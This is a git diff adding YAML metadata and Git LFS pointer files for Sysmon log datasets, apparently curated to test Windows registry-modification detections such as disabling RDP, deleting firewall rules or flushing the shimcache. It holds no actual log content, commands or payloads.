a/datasets/attack_techniques/T1112/blackbyte/enablelinkedconnections/blackbyte_enablelinkedconnections.yml b/datasets/attack_techniques/T1112/blackbyte/enablelinkedconnections/blackbyte_enablelinkedconnections.yml new file mode 100644 index 000000000..9962c02c5 --- /dev/null +++ b/datasets/attack_techniques/T1112/blackbyte/enablelinkedconnections/blackbyte_enablelinkedconnections.yml @@ -0,0 +1,12 @@ +author: STRT +id: bb196df1-af3b-41d7-a2c3-1839bc8b38a9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry EnableLinkedConnections +environment: attack_range +directory: enablelinkedconnections +mitre_technique: [] +datasets: +- name: blackbyte_sysmon + path: /datasets/attack_techniques/T1112/blackbyte/enablelinkedconnections/blackbyte_sysmon-bb196df1-af3b-41d7-a2c3-1839bc8b38a9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/blackbyte/enablelinkedconnections/blackbyte_sysmon-bb196df1-af3b-41d7-a2c3-1839bc8b38a9.log b/datasets/attack_techniques/T1112/blackbyte/enablelinkedconnections/blackbyte_sysmon-bb196df1-af3b-41d7-a2c3-1839bc8b38a9.log new file mode 100644 index 000000000..9d5c5a93a --- /dev/null +++ b/datasets/attack_techniques/T1112/blackbyte/enablelinkedconnections/blackbyte_sysmon-bb196df1-af3b-41d7-a2c3-1839bc8b38a9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:679b1eaab75d73ed733f64cf5ff345ec9e18c1c21562d7324bd29dfbccfec43f +size 1118 diff --git a/datasets/attack_techniques/T1112/blackbyte/longpathsenabled/blackbyte_longpathsenabled.yml b/datasets/attack_techniques/T1112/blackbyte/longpathsenabled/blackbyte_longpathsenabled.yml new file mode 100644 index 000000000..885a50805 --- /dev/null +++ b/datasets/attack_techniques/T1112/blackbyte/longpathsenabled/blackbyte_longpathsenabled.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8e674dad-48a4-41d8-a010-13a3100f92e3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry LongPathsEnabled +environment: attack_range +directory: longpathsenabled +mitre_technique: [] +datasets: +- name: longpath_sysmon + path: /datasets/attack_techniques/T1112/blackbyte/longpathsenabled/longpath_sysmon-8e674dad-48a4-41d8-a010-13a3100f92e3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/blackbyte/longpathsenabled/longpath_sysmon-8e674dad-48a4-41d8-a010-13a3100f92e3.log b/datasets/attack_techniques/T1112/blackbyte/longpathsenabled/longpath_sysmon-8e674dad-48a4-41d8-a010-13a3100f92e3.log new file mode 100644 index 000000000..c15abaa5c --- /dev/null +++ b/datasets/attack_techniques/T1112/blackbyte/longpathsenabled/longpath_sysmon-8e674dad-48a4-41d8-a010-13a3100f92e3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3263da64c29a68595d15aa2f977eb472932bd506e00125a1bf4c450c335cb740 +size 1097 diff --git a/datasets/attack_techniques/T1112/delete_runmru_reg/T1112_delete_runmru_reg.yml b/datasets/attack_techniques/T1112/delete_runmru_reg/T1112_delete_runmru_reg.yml new file mode 100644 index 000000000..b1a479b25 --- /dev/null +++ b/datasets/attack_techniques/T1112/delete_runmru_reg/T1112_delete_runmru_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: 681ed506-86f6-478e-8806-4c3244cf2f4f +date: '2026-07-11' +description: Curated attack data generated for detection Windows RunMRU Registry Key + or Value Deleted +environment: attack_range +directory: delete_runmru_reg +mitre_technique: [] +datasets: +- name: runmru_deletion + path: /datasets/attack_techniques/T1112/delete_runmru_reg/runmru_deletion-681ed506-86f6-478e-8806-4c3244cf2f4f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/delete_runmru_reg/runmru_deletion-681ed506-86f6-478e-8806-4c3244cf2f4f.log b/datasets/attack_techniques/T1112/delete_runmru_reg/runmru_deletion-681ed506-86f6-478e-8806-4c3244cf2f4f.log new file mode 100644 index 000000000..0dd7199bb --- /dev/null +++ b/datasets/attack_techniques/T1112/delete_runmru_reg/runmru_deletion-681ed506-86f6-478e-8806-4c3244cf2f4f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5d131bcc46b57fa9e6037d34ddea4c88ccb533853fb9168d1c6095ed465481d1 +size 11026 diff --git a/datasets/attack_techniques/T1112/disable_notif_center/T1112_disable_notif_center.yml b/datasets/attack_techniques/T1112/disable_notif_center/T1112_disable_notif_center.yml new file mode 100644 index 000000000..0428df539 --- /dev/null +++ b/datasets/attack_techniques/T1112/disable_notif_center/T1112_disable_notif_center.yml @@ -0,0 +1,13 @@ +author: STRT +id: c510dca4-6647-4a78-a17f-f67610e2ec52 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Disable Notification + Center +environment: attack_range +directory: disable_notif_center +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1112/disable_notif_center/sysmon-c510dca4-6647-4a78-a17f-f67610e2ec52.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/disable_notif_center/sysmon-c510dca4-6647-4a78-a17f-f67610e2ec52.log b/datasets/attack_techniques/T1112/disable_notif_center/sysmon-c510dca4-6647-4a78-a17f-f67610e2ec52.log new file mode 100644 index 000000000..140eabd35 --- /dev/null +++ b/datasets/attack_techniques/T1112/disable_notif_center/sysmon-c510dca4-6647-4a78-a17f-f67610e2ec52.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:210e5e7ef20a73d2247706187df2aade10808cfb383b447d84a259d29f57b987 +size 1118 diff --git a/datasets/attack_techniques/T1112/disable_rdp/T1112_disable_rdp.yml b/datasets/attack_techniques/T1112/disable_rdp/T1112_disable_rdp.yml new file mode 100644 index 000000000..cbacb7926 --- /dev/null +++ b/datasets/attack_techniques/T1112/disable_rdp/T1112_disable_rdp.yml @@ -0,0 +1,13 @@ +author: STRT +id: 58b6a341-40b5-45b8-b231-786c78b7c6a6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry Disable + RDP +environment: attack_range +directory: disable_rdp +mitre_technique: [] +datasets: +- name: fdenytsconnection-reg + path: /datasets/attack_techniques/T1112/disable_rdp/fdenytsconnection-reg-58b6a341-40b5-45b8-b231-786c78b7c6a6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/disable_rdp/fdenytsconnection-reg-58b6a341-40b5-45b8-b231-786c78b7c6a6.log b/datasets/attack_techniques/T1112/disable_rdp/fdenytsconnection-reg-58b6a341-40b5-45b8-b231-786c78b7c6a6.log new file mode 100644 index 000000000..92c0879f7 --- /dev/null +++ b/datasets/attack_techniques/T1112/disable_rdp/fdenytsconnection-reg-58b6a341-40b5-45b8-b231-786c78b7c6a6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3ddaeb73129a72f97856ad6e7c067c07d0212f70e4811820a525ff5328089b9b +size 1103 diff --git a/datasets/attack_techniques/T1112/disablesecuritysetting-d03ea29b-bce5-4d41-9941-6b1e3a2339ba.log b/datasets/attack_techniques/T1112/disablesecuritysetting-d03ea29b-bce5-4d41-9941-6b1e3a2339ba.log new file mode 100644 index 000000000..9f79e8d67 --- /dev/null +++ b/datasets/attack_techniques/T1112/disablesecuritysetting-d03ea29b-bce5-4d41-9941-6b1e3a2339ba.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e1f80b198e55d62ee6222430d54bafe734cd67aca6e78db4dca3381b85440e7b +size 6687 diff --git a/datasets/attack_techniques/T1112/firewall_modify_delete/T1112_firewall_modify_delete.yml b/datasets/attack_techniques/T1112/firewall_modify_delete/T1112_firewall_modify_delete.yml new file mode 100644 index 000000000..0ee669fb8 --- /dev/null +++ b/datasets/attack_techniques/T1112/firewall_modify_delete/T1112_firewall_modify_delete.yml @@ -0,0 +1,13 @@ +author: STRT +id: b3833587-8d45-4e38-930d-215ab48ac4ac +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry Delete + Firewall Rules +environment: attack_range +directory: firewall_modify_delete +mitre_technique: [] +datasets: +- name: firewall_mod_delete + path: /datasets/attack_techniques/T1112/firewall_modify_delete/firewall_mod_delete-b3833587-8d45-4e38-930d-215ab48ac4ac.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/firewall_modify_delete/firewall_mod_delete-b3833587-8d45-4e38-930d-215ab48ac4ac.log b/datasets/attack_techniques/T1112/firewall_modify_delete/firewall_mod_delete-b3833587-8d45-4e38-930d-215ab48ac4ac.log new file mode 100644 index 000000000..f1ecfb149 --- /dev/null +++ b/datasets/attack_techniques/T1112/firewall_modify_delete/firewall_mod_delete-b3833587-8d45-4e38-930d-215ab48ac4ac.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6932c50da19e409a0f6ef58a827ef4a3bbc84ac83f12a116c0edaae8051499ce +size 1238 diff --git a/datasets/attack_techniques/T1112/kingsoft_reg/T1112_kingsoft_reg.yml b/datasets/attack_techniques/T1112/kingsoft_reg/T1112_kingsoft_reg.yml new file mode 100644 index 000000000..38a664f1a --- /dev/null +++ b/datasets/attack_techniques/T1112/kingsoft_reg/T1112_kingsoft_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: d030930b-b8d1-478b-98c7-d5a3ae41d35d +date: '2026-07-11' +description: Curated attack data generated for detection Windows Impair Defenses Disable + AV AutoStart via Registry +environment: attack_range +directory: kingsoft_reg +mitre_technique: [] +datasets: +- name: kingsoft_reg + path: /datasets/attack_techniques/T1112/kingsoft_reg/kingsoft_reg-d030930b-b8d1-478b-98c7-d5a3ae41d35d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/kingsoft_reg/kingsoft_reg-d030930b-b8d1-478b-98c7-d5a3ae41d35d.log b/datasets/attack_techniques/T1112/kingsoft_reg/kingsoft_reg-d030930b-b8d1-478b-98c7-d5a3ae41d35d.log new file mode 100644 index 000000000..cb8531130 --- /dev/null +++ b/datasets/attack_techniques/T1112/kingsoft_reg/kingsoft_reg-d030930b-b8d1-478b-98c7-d5a3ae41d35d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9edcc137d33ffa6d4ba06f22922a148be9dc48f7db62f915dbe463f8aa0ef416 +size 4374 diff --git a/datasets/attack_techniques/T1112/minint_reg/T1112_minint_reg.yml b/datasets/attack_techniques/T1112/minint_reg/T1112_minint_reg.yml new file mode 100644 index 000000000..86da396ae --- /dev/null +++ b/datasets/attack_techniques/T1112/minint_reg/T1112_minint_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: c644ab5e-1377-4a85-a68b-f5b57d665bd8 +date: '2026-07-10' +description: Curated attack data generated for detection Disable Security Logs Using + MiniNt Registry +environment: attack_range +directory: minint_reg +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1112/minint_reg/sysmon-c644ab5e-1377-4a85-a68b-f5b57d665bd8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/minint_reg/sysmon-c644ab5e-1377-4a85-a68b-f5b57d665bd8.log b/datasets/attack_techniques/T1112/minint_reg/sysmon-c644ab5e-1377-4a85-a68b-f5b57d665bd8.log new file mode 100644 index 000000000..274deb620 --- /dev/null +++ b/datasets/attack_techniques/T1112/minint_reg/sysmon-c644ab5e-1377-4a85-a68b-f5b57d665bd8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:adb172ca9fd69f631f842592a81327b08744ca654e959f6fc58925dd54f2195d +size 1020 diff --git a/datasets/attack_techniques/T1112/njrat_md5_registry_entry/T1112_njrat_md5_registry_entry.yml b/datasets/attack_techniques/T1112/njrat_md5_registry_entry/T1112_njrat_md5_registry_entry.yml new file mode 100644 index 000000000..481641191 --- /dev/null +++ b/datasets/attack_techniques/T1112/njrat_md5_registry_entry/T1112_njrat_md5_registry_entry.yml @@ -0,0 +1,13 @@ +author: STRT +id: 36eec921-6af4-4cca-8fc2-dca31eecc481 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry With + MD5 Reg Key Name +environment: attack_range +directory: njrat_md5_registry_entry +mitre_technique: [] +datasets: +- name: njrat_reg_binary + path: /datasets/attack_techniques/T1112/njrat_md5_registry_entry/njrat_reg_binary-36eec921-6af4-4cca-8fc2-dca31eecc481.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/njrat_md5_registry_entry/njrat_reg_binary-36eec921-6af4-4cca-8fc2-dca31eecc481.log b/datasets/attack_techniques/T1112/njrat_md5_registry_entry/njrat_reg_binary-36eec921-6af4-4cca-8fc2-dca31eecc481.log new file mode 100644 index 000000000..42b9e7be8 --- /dev/null +++ b/datasets/attack_techniques/T1112/njrat_md5_registry_entry/njrat_reg_binary-36eec921-6af4-4cca-8fc2-dca31eecc481.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8cdd5b83c3720d62ae160c7b19f2e69ed79edc5dc08c6468cf2e05a46622df92 +size 2353 diff --git a/datasets/attack_techniques/T1112/no_changing_wallpaper/NoChangingWallPaper-8bd93ea8-32cd-4a77-9911-e1debc3a1f8c.log b/datasets/attack_techniques/T1112/no_changing_wallpaper/NoChangingWallPaper-8bd93ea8-32cd-4a77-9911-e1debc3a1f8c.log new file mode 100644 index 000000000..a64e6f8f5 --- /dev/null +++ b/datasets/attack_techniques/T1112/no_changing_wallpaper/NoChangingWallPaper-8bd93ea8-32cd-4a77-9911-e1debc3a1f8c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2741e106fd85b907949e588eb3da7e06db615f54252a76e688329960a9bdf590 +size 2288 diff --git a/datasets/attack_techniques/T1112/no_changing_wallpaper/T1112_no_changing_wallpaper.yml b/datasets/attack_techniques/T1112/no_changing_wallpaper/T1112_no_changing_wallpaper.yml new file mode 100644 index 000000000..d21f02f9e --- /dev/null +++ b/datasets/attack_techniques/T1112/no_changing_wallpaper/T1112_no_changing_wallpaper.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8bd93ea8-32cd-4a77-9911-e1debc3a1f8c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry NoChangingWallPaper +environment: attack_range +directory: no_changing_wallpaper +mitre_technique: [] +datasets: +- name: NoChangingWallPaper + path: /datasets/attack_techniques/T1112/no_changing_wallpaper/NoChangingWallPaper-8bd93ea8-32cd-4a77-9911-e1debc3a1f8c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/proxy_enable/T1112_proxy_enable.yml b/datasets/attack_techniques/T1112/proxy_enable/T1112_proxy_enable.yml new file mode 100644 index 000000000..db50837dc --- /dev/null +++ b/datasets/attack_techniques/T1112/proxy_enable/T1112_proxy_enable.yml @@ -0,0 +1,12 @@ +author: STRT +id: 39cc79ee-ff0b-486c-b9c9-1d3febc89ff6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry ProxyEnable +environment: attack_range +directory: proxy_enable +mitre_technique: [] +datasets: +- name: proxyenable + path: /datasets/attack_techniques/T1112/proxy_enable/proxyenable-39cc79ee-ff0b-486c-b9c9-1d3febc89ff6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/proxy_enable/proxyenable-39cc79ee-ff0b-486c-b9c9-1d3febc89ff6.log b/datasets/attack_techniques/T1112/proxy_enable/proxyenable-39cc79ee-ff0b-486c-b9c9-1d3febc89ff6.log new file mode 100644 index 000000000..66b7591a2 --- /dev/null +++ b/datasets/attack_techniques/T1112/proxy_enable/proxyenable-39cc79ee-ff0b-486c-b9c9-1d3febc89ff6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:daaed5be08a4549334480f97231379aafcf03e9c62d352df9799a79951f4e33f +size 11652 diff --git a/datasets/attack_techniques/T1112/proxy_server/ProxyServer_sys-e1574225-37dd-4345-bcff-338bce91a92c.log b/datasets/attack_techniques/T1112/proxy_server/ProxyServer_sys-e1574225-37dd-4345-bcff-338bce91a92c.log new file mode 100644 index 000000000..ebd1674c9 --- /dev/null +++ b/datasets/attack_techniques/T1112/proxy_server/ProxyServer_sys-e1574225-37dd-4345-bcff-338bce91a92c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:cb1732095a8376bf98e5079f686321e80d30bb14c0a9fac81844ac043104f7f6 +size 11692 diff --git a/datasets/attack_techniques/T1112/proxy_server/T1112_proxy_server.yml b/datasets/attack_techniques/T1112/proxy_server/T1112_proxy_server.yml new file mode 100644 index 000000000..7d898a16f --- /dev/null +++ b/datasets/attack_techniques/T1112/proxy_server/T1112_proxy_server.yml @@ -0,0 +1,12 @@ +author: STRT +id: e1574225-37dd-4345-bcff-338bce91a92c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry ProxyServer +environment: attack_range +directory: proxy_server +mitre_technique: [] +datasets: +- name: ProxyServer_sys + path: /datasets/attack_techniques/T1112/proxy_server/ProxyServer_sys-e1574225-37dd-4345-bcff-338bce91a92c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/pwn_reg/T1112_pwn_reg.yml b/datasets/attack_techniques/T1112/pwn_reg/T1112_pwn_reg.yml new file mode 100644 index 000000000..34a9c7257 --- /dev/null +++ b/datasets/attack_techniques/T1112/pwn_reg/T1112_pwn_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: d784a5ba-10d1-41d7-9ce8-8cdcb1648c49 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry Utilize + ProgIDs +environment: attack_range +directory: pwn_reg +mitre_technique: [] +datasets: +- name: pwn_reg + path: /datasets/attack_techniques/T1112/pwn_reg/pwn_reg-d784a5ba-10d1-41d7-9ce8-8cdcb1648c49.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/pwn_reg/pwn_reg-d784a5ba-10d1-41d7-9ce8-8cdcb1648c49.log b/datasets/attack_techniques/T1112/pwn_reg/pwn_reg-d784a5ba-10d1-41d7-9ce8-8cdcb1648c49.log new file mode 100644 index 000000000..0816c78ae --- /dev/null +++ b/datasets/attack_techniques/T1112/pwn_reg/pwn_reg-d784a5ba-10d1-41d7-9ce8-8cdcb1648c49.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:09e6cae7cc57b1b3a8b021d770df2d90ed81501323d1b37d96a68cfa3791aad9 +size 3257 diff --git a/datasets/attack_techniques/T1112/ransomware_disable_reg/T1112_ransomware_disable_reg.yml b/datasets/attack_techniques/T1112/ransomware_disable_reg/T1112_ransomware_disable_reg.yml new file mode 100644 index 000000000..0bd81823b --- /dev/null +++ b/datasets/attack_techniques/T1112/ransomware_disable_reg/T1112_ransomware_disable_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: 88a8083f-8363-41f9-9f1c-d8397fc07da1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Disable Change Password + Through Registry +environment: attack_range +directory: ransomware_disable_reg +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1112/ransomware_disable_reg/sysmon-88a8083f-8363-41f9-9f1c-d8397fc07da1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/ransomware_disable_reg/sysmon-88a8083f-8363-41f9-9f1c-d8397fc07da1.log b/datasets/attack_techniques/T1112/ransomware_disable_reg/sysmon-88a8083f-8363-41f9-9f1c-d8397fc07da1.log new file mode 100644 index 000000000..54834edc3 --- /dev/null +++ b/datasets/attack_techniques/T1112/ransomware_disable_reg/sysmon-88a8083f-8363-41f9-9f1c-d8397fc07da1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a4ab9a91f552ba8bc1b579415cf44aee6f0769c1953cd01c9f9921088b2b6cd6 +size 9063 diff --git a/datasets/attack_techniques/T1112/reg_profiles_private2/T1112_reg_profiles_private2.yml b/datasets/attack_techniques/T1112/reg_profiles_private2/T1112_reg_profiles_private2.yml new file mode 100644 index 000000000..4e470b4a7 --- /dev/null +++ b/datasets/attack_techniques/T1112/reg_profiles_private2/T1112_reg_profiles_private2.yml @@ -0,0 +1,13 @@ +author: STRT +id: 97c2976b-47d6-4450-ae42-60b23fc0a5fe +date: '2026-07-11' +description: Curated attack data generated for detection Windows Set Network Profile + Category to Private via Registry +environment: attack_range +directory: reg_profiles_private2 +mitre_technique: [] +datasets: +- name: reg_profiles_private2 + path: /datasets/attack_techniques/T1112/reg_profiles_private2/reg_profiles_private2-97c2976b-47d6-4450-ae42-60b23fc0a5fe.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/reg_profiles_private2/reg_profiles_private2-97c2976b-47d6-4450-ae42-60b23fc0a5fe.log b/datasets/attack_techniques/T1112/reg_profiles_private2/reg_profiles_private2-97c2976b-47d6-4450-ae42-60b23fc0a5fe.log new file mode 100644 index 000000000..7e46479cf --- /dev/null +++ b/datasets/attack_techniques/T1112/reg_profiles_private2/reg_profiles_private2-97c2976b-47d6-4450-ae42-60b23fc0a5fe.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b0560ec49ea03b6afc543a9bd273dc02bc1921400c0387979c797ca2c2912553 +size 1106 diff --git a/datasets/attack_techniques/T1112/remote_access_reg/T1112_remote_access_reg.yml b/datasets/attack_techniques/T1112/remote_access_reg/T1112_remote_access_reg.yml new file mode 100644 index 000000000..a32bfa62c --- /dev/null +++ b/datasets/attack_techniques/T1112/remote_access_reg/T1112_remote_access_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: ecebec39-2b69-4d53-85b8-bfceb29e9429 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Routing and Remote + Access Service Registry Key Change +environment: attack_range +directory: remote_access_reg +mitre_technique: [] +datasets: +- name: remote_access_reg + path: /datasets/attack_techniques/T1112/remote_access_reg/remote_access_reg-ecebec39-2b69-4d53-85b8-bfceb29e9429.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/remote_access_reg/remote_access_reg-ecebec39-2b69-4d53-85b8-bfceb29e9429.log b/datasets/attack_techniques/T1112/remote_access_reg/remote_access_reg-ecebec39-2b69-4d53-85b8-bfceb29e9429.log new file mode 100644 index 000000000..81a938d38 --- /dev/null +++ b/datasets/attack_techniques/T1112/remote_access_reg/remote_access_reg-ecebec39-2b69-4d53-85b8-bfceb29e9429.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:592d3810c7a7221c6d96c55afc7610e0bcbd44a1a1efb1d32705a3d2b4b3949b +size 5484 diff --git a/datasets/attack_techniques/T1112/shimcache_flush/T1112_shimcache_flush.yml b/datasets/attack_techniques/T1112/shimcache_flush/T1112_shimcache_flush.yml new file mode 100644 index 000000000..3f3849f13 --- /dev/null +++ b/datasets/attack_techniques/T1112/shimcache_flush/T1112_shimcache_flush.yml @@ -0,0 +1,12 @@ +author: STRT +id: 89090928-f0b9-4b17-a86b-a236816cb8f1 +date: '2026-07-11' +description: Curated attack data generated for detection Rundll32 Shimcache Flush +environment: attack_range +directory: shimcache_flush +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1112/shimcache_flush/sysmon-89090928-f0b9-4b17-a86b-a236816cb8f1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/shimcache_flush/sysmon-89090928-f0b9-4b17-a86b-a236816cb8f1.log b/datasets/attack_techniques/T1112/shimcache_flush/sysmon-89090928-f0b9-4b17-a86b-a236816cb8f1.log new file mode 100644 index 000000000..7de187279 --- /dev/null +++ b/datasets/attack_techniques/T1112/shimcache_flush/sysmon-89090928-f0b9-4b17-a86b-a236816cb8f1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8d0717f2ec9027107276933954a9f952c77bc29ccf9f6967f303c0a72db8367f +size 1946 diff --git a/datasets/attack_techniques/T1112/smart_card_group_policy/T1112_smart_card_group_policy.yml b/datasets/attack_techniques/T1112/smart_card_group_policy/T1112_smart_card_group_policy.yml new file mode 100644 index 000000000..b251b95d0 --- /dev/null +++ b/datasets/attack_techniques/T1112/smart_card_group_policy/T1112_smart_card_group_policy.yml @@ -0,0 +1,13 @@ +author: STRT +id: 528de72f-a4f2-489a-8bef-7717a7665ec6 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry on + Smart Card Group Policy +environment: attack_range +directory: smart_card_group_policy +mitre_technique: [] +datasets: +- name: scforceoption-reg + path: /datasets/attack_techniques/T1112/smart_card_group_policy/scforceoption-reg-528de72f-a4f2-489a-8bef-7717a7665ec6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/smart_card_group_policy/scforceoption-reg-528de72f-a4f2-489a-8bef-7717a7665ec6.log b/datasets/attack_techniques/T1112/smart_card_group_policy/scforceoption-reg-528de72f-a4f2-489a-8bef-7717a7665ec6.log new file mode 100644 index 000000000..62d310a19 --- /dev/null +++ b/datasets/attack_techniques/T1112/smart_card_group_policy/scforceoption-reg-528de72f-a4f2-489a-8bef-7717a7665ec6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d7e69fef0be565cc2a02de146b334645c562e8b872e7b70b07e9134cf3e6d482 +size 1108 diff --git a/datasets/attack_techniques/T1112/snapattack/T1112_snapattack.yml b/datasets/attack_techniques/T1112/snapattack/T1112_snapattack.yml new file mode 100644 index 000000000..dc2d0c84f --- /dev/null +++ b/datasets/attack_techniques/T1112/snapattack/T1112_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 680fb0c0-dc80-4c37-849b-6b65a26ca95b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Downdate Registry + Activity +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1112/snapattack/snapattack-680fb0c0-dc80-4c37-849b-6b65a26ca95b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/snapattack/snapattack-680fb0c0-dc80-4c37-849b-6b65a26ca95b.log b/datasets/attack_techniques/T1112/snapattack/snapattack-680fb0c0-dc80-4c37-849b-6b65a26ca95b.log new file mode 100644 index 000000000..4452930e5 --- /dev/null +++ b/datasets/attack_techniques/T1112/snapattack/snapattack-680fb0c0-dc80-4c37-849b-6b65a26ca95b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2751fcc8d0f83bfd031eab18256d72226b84330fbe4c4c4e2076335d95920293 +size 2462 diff --git a/datasets/attack_techniques/T1112/test_registry/T1112_test_registry.yml b/datasets/attack_techniques/T1112/test_registry/T1112_test_registry.yml new file mode 100644 index 000000000..1783b651c --- /dev/null +++ b/datasets/attack_techniques/T1112/test_registry/T1112_test_registry.yml @@ -0,0 +1,13 @@ +author: STRT +id: db2612ae-8ff2-442e-b1b6-575e74b7802f +date: '2026-07-11' +description: Curated attack data generated for detection Windows SnappyBee Create + Test Registry +environment: attack_range +directory: test_registry +mitre_technique: [] +datasets: +- name: test_reg + path: /datasets/attack_techniques/T1112/test_registry/test_reg-db2612ae-8ff2-442e-b1b6-575e74b7802f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1112/test_registry/test_reg-db2612ae-8ff2-442e-b1b6-575e74b7802f.log b/datasets/attack_techniques/T1112/test_registry/test_reg-db2612ae-8ff2-442e-b1b6-575e74b7802f.log new file mode 100644 index 000000000..bb4b9913d --- /dev/null +++ b/datasets/attack_techniques/T1112/test_registry/test_reg-db2612ae-8ff2-442e-b1b6-575e74b7802f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b4c5fd2eb1533b0cbd2a793c767a858d3493877822701be7944103cd9922ee06 +size 2174 diff --git 